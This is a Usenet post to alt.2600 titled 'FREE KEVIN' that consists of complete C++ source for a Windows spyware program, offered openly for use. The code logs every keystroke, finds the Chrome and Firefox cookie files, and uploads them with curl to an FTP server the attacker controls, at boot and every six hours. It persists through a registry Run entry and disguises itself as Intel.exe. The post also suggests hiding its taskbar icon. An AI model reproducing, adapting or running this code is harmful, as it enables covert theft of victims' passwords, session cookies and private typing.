• FREE KEVIN

    From Street@street@shellcrash.com to alt.2600 on Sunday, December 24, 2023 01:19:07
    From Newsgroup: alt.2600

    /*

    FREE KEVIN

    https://www.mitnicksecurity.com/
    https://en.wikipedia.org/wiki/Kevin_Mitnick

    This program loads a window on its first execution, prompting
    the user to input FTP server credentials. It's recommended that
    you configure a Virtual Private Server (VPS) to host the FTP.
    Alternatively, you can modify your router settings to permit
    incoming FTP connections.

    The program may trigger a Windows Firewall permission request.
    Once granted, it operates inconspicuously in the background.

    A database, located at C:\ProgramData\log.dat, retains keylogging
    data. Upon each system startup, this program uploads log.dat and
    all stored cookies from Google Chrome and Mozilla Firefox to your
    FTP server. Every six hours of computer operation, these files are
    also automatically uploaded.

    To ensure persistence, the program establishes a registry entry at C:\ProgramData\Intel.exe, that starts the program whenever the
    computer boots.

    A small icon does appears in the Windows taskbar as the files are
    uploaded to the FTP server. You can fix that with a Visual Basic
    Script to so that nothing appears.

    All of this code is formatted for Usenet Newsgroups. You can
    easily reformat it for a compiler which has readable indentation.

    */


    #define _CRT_SECURE_NO_WARNINGS

    #include <windows.h>
    #include <iostream>
    #include <fstream>
    #include <string>
    #include <chrono>
    #include <thread>
    #include <cstdlib>
    #include <iomanip>
    #include <sstream>
    #include <Lmcons.h>

    bool startup = true;

    LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam,
    LPARAM lParam);

    void OnOKButtonClick(HWND hwnd, HWND editControl1,
    HWND editControl2, HWND editControl3);

    void CreateControls(HWND hwnd);

    bool IsKeyPressed(int keyCode, int threshold)
    {

    static std::chrono::steady_clock::time_point lastKeyPressTime; std::chrono::steady_clock::time_point currentTime = std::chrono::steady_clock::now();

    if (GetAsyncKeyState(keyCode) & 0x8000)
    {

    if (std::chrono::duration_cast<std::chrono::milliseconds>(currentTime
    - lastKeyPressTime).count() >= threshold)
    {

    lastKeyPressTime = currentTime;
    return true;

    }

    }
    return false;

    }

    std::wstring FindCookiesFile(const std::wstring &directory)
    {

    WIN32_FIND_DATA findFileData;
    HANDLE hFind = FindFirstFile((directory + L"\\*").c_str(),
    &findFileData);

    do
    {

    std::wstring fileName = findFileData.cFileName;

    if (fileName != L"." && fileName != L"..")
    {

    std::wstring filePath = directory + L"\\" + fileName;

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
    {

    std::wstring result = FindCookiesFile(filePath);

    if (!result.empty())
    {

    return result;

    }

    }

    else if (fileName == L"cookies.sqlite")
    {

    return filePath;

    }

    }

    } while (FindNextFile(hFind, &findFileData) != 0);

    FindClose(hFind);

    return L"";

    }

    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow)
    {

    const std::wstring filePath = L"C:\\ProgramData\\Intel.exe";

    DWORD attributes = GetFileAttributes(filePath.c_str());

    if (attributes == INVALID_FILE_ATTRIBUTES || (attributes & FILE_ATTRIBUTE_DIRECTORY))
    {

    const wchar_t *CLASS_NAME = L"SampleWindowClass";
    WNDCLASS wc = {};
    wc.lpfnWndProc = WindowProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = CLASS_NAME;
    wc.hbrBackground = CreateSolidBrush(RGB(220, 220, 220));
    RegisterClass(&wc);

    HWND hwnd = CreateWindowEx(
    0,
    CLASS_NAME,
    L"Setup",
    WS_OVERLAPPEDWINDOW,
    CW_USEDEFAULT, CW_USEDEFAULT, 400, 275,
    NULL,
    NULL,
    hInstance,
    NULL);

    CreateControls(hwnd);
    ShowWindow(hwnd, nCmdShow);
    MSG msg = {};

    while (GetMessage(&msg, NULL, 0, 0))
    {

    TranslateMessage(&msg);
    DispatchMessage(&msg);

    }

    }

    char key;

    while (true)
    {

    std::chrono::minutes duration(360);
    auto lastExecutionTime = std::chrono::system_clock::now();

    for (key = 8; key <= 222; key++)
    {

    auto currentTime = std::chrono::system_clock::now();
    auto elapsedTime = std::chrono::duration_cast<std::chrono::minutes> (currentTime - lastExecutionTime);
    std::ofstream write("C:\\ProgramData\\log.dat", std::ios::app);

    if ((elapsedTime >= duration) || startup == true)
    {

    startup = false;
    HKEY hServer;
    const char *registryKeyPath = "SOFTWARE\\Setup";
    const char *registryValueName = "Server";
    RegOpenKeyExA(HKEY_CURRENT_USER, registryKeyPath, 0, KEY_READ,
    &hServer);
    DWORD bufferSize;
    RegQueryValueExA(hServer, registryValueName, nullptr, nullptr,
    nullptr, &bufferSize);
    char *Server = new char[bufferSize];
    RegQueryValueExA(hServer, registryValueName, nullptr, nullptr, reinterpret_cast<LPBYTE>(Server), &bufferSize);
    registryValueName = "Username";
    HKEY hUsername;
    RegOpenKeyExA(HKEY_CURRENT_USER, registryKeyPath, 0, KEY_READ,
    &hUsername);
    RegQueryValueExA(hUsername, registryValueName, nullptr, nullptr,
    nullptr, &bufferSize);
    char *Username = new char[bufferSize];
    RegQueryValueExA(hServer, registryValueName, nullptr, nullptr, reinterpret_cast<LPBYTE>(Username), &bufferSize);
    registryValueName = "Password";
    HKEY hPassword;
    RegOpenKeyExA(HKEY_CURRENT_USER, registryKeyPath, 0, KEY_READ,
    &hPassword);
    RegQueryValueExA(hPassword, registryValueName, nullptr, nullptr,
    nullptr, &bufferSize);
    char *Password = new char[bufferSize];
    RegQueryValueExA(hServer, registryValueName, nullptr, nullptr, reinterpret_cast<LPBYTE>(Password), &bufferSize);
    RegCloseKey(hServer);
    RegCloseKey(hUsername);
    RegCloseKey(hPassword);
    auto now = std::chrono::system_clock::now();
    std::time_t labelTime = std::chrono::system_clock::to_time_t(now);
    std::tm timeInfo;
    localtime_s(&timeInfo, &labelTime);
    char buffer[80];
    std::strftime(buffer, sizeof(buffer), "%Y%m%d_%H%M%S", &timeInfo);

    std::string labelname = "log_" + std::string(buffer) + ".dat";
    std::string curlLabel = "start /MIN curl --user "
    + std::string(Username) + ":" + std::string(Password) +
    " --upload-file " + "C:\\ProgramData\\log.dat" + " ftp://" + std::string(Server) + "/" + labelname;

    wchar_t username[UNLEN + 1];
    DWORD size = UNLEN + 1;
    GetUserName(username, &size);
    char narrowUsername[UNLEN + 1];
    wcstombs(narrowUsername, username, UNLEN + 1);
    labelname = "chrome_cookies_" + std::string(buffer);

    std::string newcurlLabel = "start /MIN curl --user " +
    std::string(Username) + ":" + std::string(Password) +
    " --upload-file \"C:\\Users\\" + std::string(narrowUsername) + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network
    \\Cookies\"" + " ftp://" + std::string(Server) + "/" + labelname;

    std::string user1 = narrowUsername;
    std::wstring wideUsername(user1.begin(), user1.end());
    std::wstring startingDirectory = L"C:\\Users\\" + wideUsername + L"\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";

    std::wstring cookiesFilePath = FindCookiesFile(startingDirectory);
    std::string cookiePath(cookiesFilePath.begin(),
    cookiesFilePath.end());
    labelname = "firefox_cookies_" + std::string(buffer);

    curlLabel = curlLabel + " & " + newcurlLabel + " & start /MIN curl
    --user " + std::string(Username) + ":" + std::string(Password) +
    " --upload-file " + cookiePath + " ftp://" + std::string(Server) +
    "/" + labelname;

    system(curlLabel.c_str()); std::this_thread::sleep_for(std::chrono::seconds(60));
    write.close();
    write.open("C:\\ProgramData\\log.dat", std::ofstream::out | std::ofstream::trunc);
    lastExecutionTime = currentTime;

    }

    if (IsKeyPressed(VK_OEM_MINUS, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "_";

    }

    else
    {

    write << "-";

    }

    }

    if (IsKeyPressed(VK_OEM_PLUS, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "+";

    }

    else
    {

    write << "=";

    }

    }

    if (IsKeyPressed(VK_OEM_3, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "~";

    }

    else
    {

    write << "`";

    }

    }

    if (IsKeyPressed(VK_OEM_4, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "{";

    }

    else
    {

    write << "[";

    }

    }

    if (IsKeyPressed(VK_OEM_6, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "}";

    }

    else
    {

    write << "]";

    }

    }

    if (IsKeyPressed(VK_OEM_5, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "|";

    }

    else
    {

    write << "\\";

    }

    }

    if (IsKeyPressed(VK_OEM_1, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << ":";

    }

    else
    {

    write << ";";

    }

    }

    if (IsKeyPressed(VK_OEM_7, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "\"";

    }

    else
    {

    write << "'";

    }

    }

    if (IsKeyPressed(VK_OEM_COMMA, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "<";

    }

    else
    {

    write << ",";

    }

    }

    if (IsKeyPressed(VK_OEM_PERIOD, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << ">";

    }

    else
    {

    write << ".";

    }

    }

    if (IsKeyPressed(VK_OEM_2, 250))
    {

    if (GetKeyState(VK_SHIFT) & 0x8000)
    {

    write << "?";

    }

    else
    {

    write << "/";

    }

    }

    if (IsKeyPressed(VK_LCONTROL, 250))
    {

    write << " [CONTROL] ";

    }

    if (IsKeyPressed(VK_RCONTROL, 250))
    {

    write << " [CONTROL] ";

    }

    if (IsKeyPressed(VK_RMENU, 250))
    {

    write << " [ALT] ";

    }

    if (IsKeyPressed(VK_LMENU, 250))
    {

    write << " [ALT] ";

    }

    if (IsKeyPressed(VK_RBUTTON, 250))
    {

    write << " [RCLICK] ";

    }

    if (IsKeyPressed(VK_LBUTTON, 250))
    {

    write << " [LCLICK] ";

    }

    if (IsKeyPressed(VK_CAPITAL, 250))
    {

    write << " [CAPSLOCK] ";

    }

    if (IsKeyPressed(VK_TAB, 250))
    {

    write << " [TAB] ";

    }

    if (IsKeyPressed(VK_SPACE, 250))
    {

    write << " ";

    }

    if (GetAsyncKeyState(key) == -32767)
    {

    if (key == 13)
    {

    write << " [Enter]\n";

    }

    else if (key == 8)
    {

    write << " [Backspace] ";

    }

    else if (key == 48 && GetAsyncKeyState(0x10))
    {

    write << ")";

    }

    else if (key == 49 && GetAsyncKeyState(0x10))
    {

    write << "!";

    }

    else if (key == 50 && GetAsyncKeyState(0x10))
    {

    write << "@";

    }

    else if (key == 51 && GetAsyncKeyState(0x10))
    {

    write << "#";

    }

    else if (key == 52 && GetAsyncKeyState(0x10))
    {

    write << "$";

    }

    else if (key == 53 && GetAsyncKeyState(0x10))
    {

    write << "%";

    }

    else if (key == 54 && GetAsyncKeyState(0x10))
    {

    write << "^";

    }

    else if (key == 55 && GetAsyncKeyState(0x10))
    {

    write << "&";

    }

    else if (key == 56 && GetAsyncKeyState(0x10))
    {

    write << "*";

    }

    else if (key == 57 && GetAsyncKeyState(0x10))
    {

    write << "(";

    }

    else if (key == 48 && !(GetAsyncKeyState(0x10)))
    {

    write << "0";

    }

    else if (key == 49 && !(GetAsyncKeyState(0x10)))
    {

    write << "1";

    }

    else if (key == 50 && !(GetAsyncKeyState(0x10)))
    {

    write << "2";

    }

    else if (key == 51 && !(GetAsyncKeyState(0x10)))
    {

    write << "3";

    }

    else if (key == 52 && !(GetAsyncKeyState(0x10)))
    {

    write << "4";

    }

    else if (key == 53 && !(GetAsyncKeyState(0x10)))
    {

    write << "5";

    }

    else if (key == 54 && !(GetAsyncKeyState(0x10)))
    {

    write << "6";

    }

    else if (key == 55 && !(GetAsyncKeyState(0x10)))
    {

    write << "7";

    }

    else if (key == 56 && !(GetAsyncKeyState(0x10)))
    {

    write << "8";

    }

    else if (key == 57 && !(GetAsyncKeyState(0x10)))
    {

    write << "9";

    }

    else if (key == 65 && GetAsyncKeyState(0x10))
    {

    write << "A";

    }

    else if (key == 66 && GetAsyncKeyState(0x10))
    {

    write << "B";

    }

    else if (key == 67 && GetAsyncKeyState(0x10))
    {

    write << "C";

    }

    else if (key == 68 && GetAsyncKeyState(0x10))
    {

    write << "D";

    }

    else if (key == 69 && GetAsyncKeyState(0x10))
    {

    write << "E";

    }

    else if (key == 70 && GetAsyncKeyState(0x10))
    {

    write << "F";

    }

    else if (key == 71 && GetAsyncKeyState(0x10))
    {

    write << "G";

    }

    else if (key == 72 && GetAsyncKeyState(0x10))
    {

    write << "H";

    }

    else if (key == 73 && GetAsyncKeyState(0x10))
    {

    write << "I";

    }

    else if (key == 74 && GetAsyncKeyState(0x10))
    {

    write << "J";

    }

    else if (key == 75 && GetAsyncKeyState(0x10))
    {

    write << "K";

    }

    else if (key == 76 && GetAsyncKeyState(0x10))
    {

    write << "L";

    }

    else if (key == 77 && GetAsyncKeyState(0x10))
    {

    write << "M";

    }

    else if (key == 78 && GetAsyncKeyState(0x10))
    {

    write << "N";

    }

    else if (key == 79 && GetAsyncKeyState(0x10))
    {

    write << "O";

    }

    else if (key == 80 && GetAsyncKeyState(0x10))
    {

    write << "P";

    }

    else if (key == 81 && GetAsyncKeyState(0x10))
    {

    write << "Q";

    }

    else if (key == 82 && GetAsyncKeyState(0x10))
    {

    write << "R";

    }

    else if (key == 83 && GetAsyncKeyState(0x10))
    {

    write << "S";

    }

    else if (key == 84 && GetAsyncKeyState(0x10))
    {

    write << "T";

    }

    else if (key == 85 && GetAsyncKeyState(0x10))
    {

    write << "U";

    }

    else if (key == 86 && GetAsyncKeyState(0x10))
    {

    write << "V";

    }

    else if (key == 87 && GetAsyncKeyState(0x10))
    {

    write << "W";

    }

    else if (key == 88 && GetAsyncKeyState(0x10))
    {

    write << "X";

    }

    else if (key == 89 && GetAsyncKeyState(0x10))
    {

    write << "Y";

    }

    else if (key == 90 && GetAsyncKeyState(0x10))
    {

    write << "Z";

    }

    if (key == 65 && !(GetAsyncKeyState(0x10)))
    {

    write << "a";

    }

    else if (key == 66 && !(GetAsyncKeyState(0x10)))
    {

    write << "b";

    }

    else if (key == 67 && !(GetAsyncKeyState(0x10)))
    {

    write << "c";

    }

    else if (key == 68 && !(GetAsyncKeyState(0x10)))
    {

    write << "d";

    }

    else if (key == 69 && !(GetAsyncKeyState(0x10)))
    {

    write << "e";

    }

    else if (key == 70 && !(GetAsyncKeyState(0x10)))
    {

    write << "f";

    }

    else if (key == 71 && !(GetAsyncKeyState(0x10)))
    {

    write << "g";

    }

    else if (key == 72 && !(GetAsyncKeyState(0x10)))
    {

    write << "h";

    }

    else if (key == 73 && !(GetAsyncKeyState(0x10)))
    {

    write << "i";

    }

    else if (key == 74 && !(GetAsyncKeyState(0x10)))
    {

    write << "j";

    }

    else if (key == 75 && !(GetAsyncKeyState(0x10)))
    {

    write << "k";

    }

    else if (key == 76 && !(GetAsyncKeyState(0x10)))
    {

    write << "l";

    }

    else if (key == 77 && !(GetAsyncKeyState(0x10)))
    {

    write << "m";

    }

    else if (key == 78 && !(GetAsyncKeyState(0x10)))
    {

    write << "n";

    }

    else if (key == 79 && !(GetAsyncKeyState(0x10)))
    {

    write << "o";

    }

    else if (key == 80 && !(GetAsyncKeyState(0x10)))
    {

    write << "p";

    }

    else if (key == 81 && !(GetAsyncKeyState(0x10)))
    {

    write << "q";

    }

    else if (key == 82 && !(GetAsyncKeyState(0x10)))
    {

    write << "r";

    }

    else if (key == 83 && !(GetAsyncKeyState(0x10)))
    {

    write << "s";

    }

    else if (key == 84 && !(GetAsyncKeyState(0x10)))
    {

    write << "t";

    }

    else if (key == 85 && !(GetAsyncKeyState(0x10)))
    {

    write << "u";

    }

    else if (key == 86 && !(GetAsyncKeyState(0x10)))
    {

    write << "v";

    }

    else if (key == 87 && !(GetAsyncKeyState(0x10)))
    {

    write << "w";

    }

    else if (key == 88 && !(GetAsyncKeyState(0x10)))
    {

    write << "x";

    }

    else if (key == 89 && !(GetAsyncKeyState(0x10)))
    {

    write << "y";

    }

    else if (key == 90 && !(GetAsyncKeyState(0x10)))
    {

    write << "z";

    }

    }

    }

    }

    }

    void CreateControls(HWND hwnd)
    {

    CreateWindow(
    L"STATIC",
    L"FTP Server:",
    WS_CHILD | WS_VISIBLE,
    20, 20, 95, 25,
    hwnd,
    (HMENU)1,
    NULL,
    NULL);

    HWND editControl1 = CreateWindowEx(
    WS_EX_CLIENTEDGE,
    L"EDIT",
    L"",
    WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
    120, 20, 240, 25,
    hwnd,
    (HMENU)2,
    NULL,
    NULL);

    CreateWindow(
    L"STATIC",
    L"Username:",
    WS_CHILD | WS_VISIBLE,
    20, 70, 95, 25,
    hwnd,
    (HMENU)3,
    NULL,
    NULL);

    HWND editControl2 = CreateWindowEx(
    WS_EX_CLIENTEDGE,
    L"EDIT",
    L"",
    WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
    120, 70, 240, 25,
    hwnd,
    (HMENU)4,
    NULL,
    NULL);

    CreateWindow(
    L"STATIC",
    L"Password:",
    WS_CHILD | WS_VISIBLE | ES_PASSWORD,
    20, 120, 95, 25,
    hwnd,
    (HMENU)5,
    NULL,
    NULL);

    HWND editControl3 = CreateWindowEx(
    WS_EX_CLIENTEDGE,
    L"EDIT",
    L"",
    WS_CHILD | WS_VISIBLE | ES_PASSWORD | WS_BORDER | ES_AUTOHSCROLL,
    120, 120, 240, 25,
    hwnd,
    (HMENU)6,
    NULL,
    NULL);

    CreateWindow(
    L"BUTTON",
    L"OK",
    WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
    280, 180, 80, 30,
    hwnd,
    (HMENU)7,
    NULL,
    NULL);

    }

    LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam,
    LPARAM lParam)
    {

    switch (uMsg)

    {

    case WM_COMMAND:
    {

    if (LOWORD(wParam) == 7)
    {

    OnOKButtonClick(hwnd, GetDlgItem(hwnd, 2), GetDlgItem(hwnd, 4), GetDlgItem(hwnd, 6));

    }

    break;

    }

    case WM_ERASEBKGND:
    {

    HDC hdc = (HDC)wParam;
    RECT rect;
    GetClientRect(hwnd, &rect);
    FillRect(hdc, &rect, (HBRUSH)CreateSolidBrush(RGB(220, 220, 220)));
    return 1;

    }

    case WM_CTLCOLORSTATIC:
    {

    HDC hdcStatic = (HDC)wParam;
    SetBkColor(hdcStatic, RGB(220, 220, 220));
    SetTextColor(hdcStatic, RGB(0, 0, 0));
    return (LRESULT)CreateSolidBrush(RGB(220, 220, 220));

    }

    case WM_CTLCOLOREDIT:
    {

    HDC hdcEdit = (HDC)wParam;
    SetBkColor(hdcEdit, RGB(255, 255, 255));
    SetTextColor(hdcEdit, RGB(0, 0, 0));
    return (LRESULT)CreateSolidBrush(RGB(255, 255, 255));

    }

    case WM_DESTROY:
    {

    PostQuitMessage(0);
    break;

    }

    default:
    return DefWindowProc(hwnd, uMsg, wParam, lParam);

    }

    return 0;

    }

    void OnOKButtonClick(HWND hwnd, HWND editControl1,
    HWND editControl2, HWND editControl3)
    {

    int length1 = GetWindowTextLength(editControl1);
    int length2 = GetWindowTextLength(editControl2);
    int length3 = GetWindowTextLength(editControl3);
    wchar_t *buffer1 = new wchar_t[length1 + 1];
    wchar_t *buffer2 = new wchar_t[length2 + 1];
    wchar_t *buffer3 = new wchar_t[length3 + 1];
    GetWindowText(editControl1, buffer1, length1 + 1);
    GetWindowText(editControl2, buffer2, length2 + 1);
    GetWindowText(editControl3, buffer3, length3 + 1);
    const wchar_t *registryKey = L"Software\\Setup";
    HKEY hServer;

    if (RegCreateKeyEx(HKEY_CURRENT_USER, registryKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hServer, NULL) ==
    ERROR_SUCCESS)
    {

    const wchar_t *settingValue = buffer1;

    if (RegSetValueEx(hServer, L"Server", 0, REG_SZ,
    reinterpret_cast<const BYTE *>(settingValue), (wcslen(settingValue)
    + 1) * sizeof(wchar_t)) == ERROR_SUCCESS)
    {

    std::wcout << L"Written to the registry." << std::endl;

    }

    else
    {

    std::cerr << "Error writing to the registry." << std::endl;

    }

    RegCloseKey(hServer);

    }

    else
    {

    std::cerr << "Error creating/opening registry key." << std::endl;

    }

    HKEY hUsername;

    if (RegCreateKeyEx(HKEY_CURRENT_USER, registryKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hUsername, NULL) ==
    ERROR_SUCCESS)
    {

    const wchar_t *settingValue = buffer2;

    if (RegSetValueEx(hUsername, L"Username", 0, REG_SZ,
    reinterpret_cast<const BYTE *>(settingValue),
    (wcslen(settingValue) + 1) * sizeof(wchar_t)) == ERROR_SUCCESS)
    {

    std::wcout << L"Written to the registry." << std::endl;

    }

    else
    {

    std::cerr << "Error writing to the registry." << std::endl;

    }

    RegCloseKey(hUsername);

    }

    else
    {

    std::cerr << "Error creating/opening registry key." << std::endl;

    }

    HKEY hPassword;

    if (RegCreateKeyEx(HKEY_CURRENT_USER, registryKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hPassword, NULL) ==
    ERROR_SUCCESS)
    {

    const wchar_t *settingValue = buffer3;

    if (RegSetValueEx(hPassword, L"Password", 0, REG_SZ,
    reinterpret_cast<const BYTE *>(settingValue), (wcslen(settingValue)
    + 1) * sizeof(wchar_t)) == ERROR_SUCCESS)
    {

    std::wcout << L"Channel has been written to the registry."
    << std::endl;

    }

    else
    {

    std::cerr << "Error writing to the registry." << std::endl;

    }

    RegCloseKey(hPassword);

    }

    else
    {

    std::cerr << "Error creating/opening registry key." << std::endl;

    }

    const char *keyPath = "Software\\Microsoft\\Windows
    \\CurrentVersion\\Run";
    const char *valueName = "Start";
    const char *executablePath = "C:\\Intel.exe";
    HKEY hLoad;
    LONG result = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath, 0,
    KEY_SET_VALUE, &hLoad);

    if (result == ERROR_SUCCESS)
    {

    result = RegSetValueExA(hLoad, valueName, 0, REG_SZ,
    reinterpret_cast<const BYTE *>(executablePath),
    strlen(executablePath) + 1);
    RegCloseKey(hLoad);

    }

    wchar_t filepath[MAX_PATH];
    GetModuleFileName(NULL, filepath, MAX_PATH);
    std::wstring sourcePath(filepath);
    std::string narrowSourcePath(sourcePath.begin(), sourcePath.end()); std::stringstream ss;
    ss << "Copy " << narrowSourcePath << " C:\\ProgramData\\Intel.exe";
    std::string narrowDestinationPath = ss.str();
    const char *command = narrowDestinationPath.c_str();
    system(command);
    delete[] buffer1;
    delete[] buffer2;
    delete[] buffer3;
    PostMessage(hwnd, WM_CLOSE, 0, 0);

    }

    --- Synchronet 3.20a-Win32 NewsLink 1.114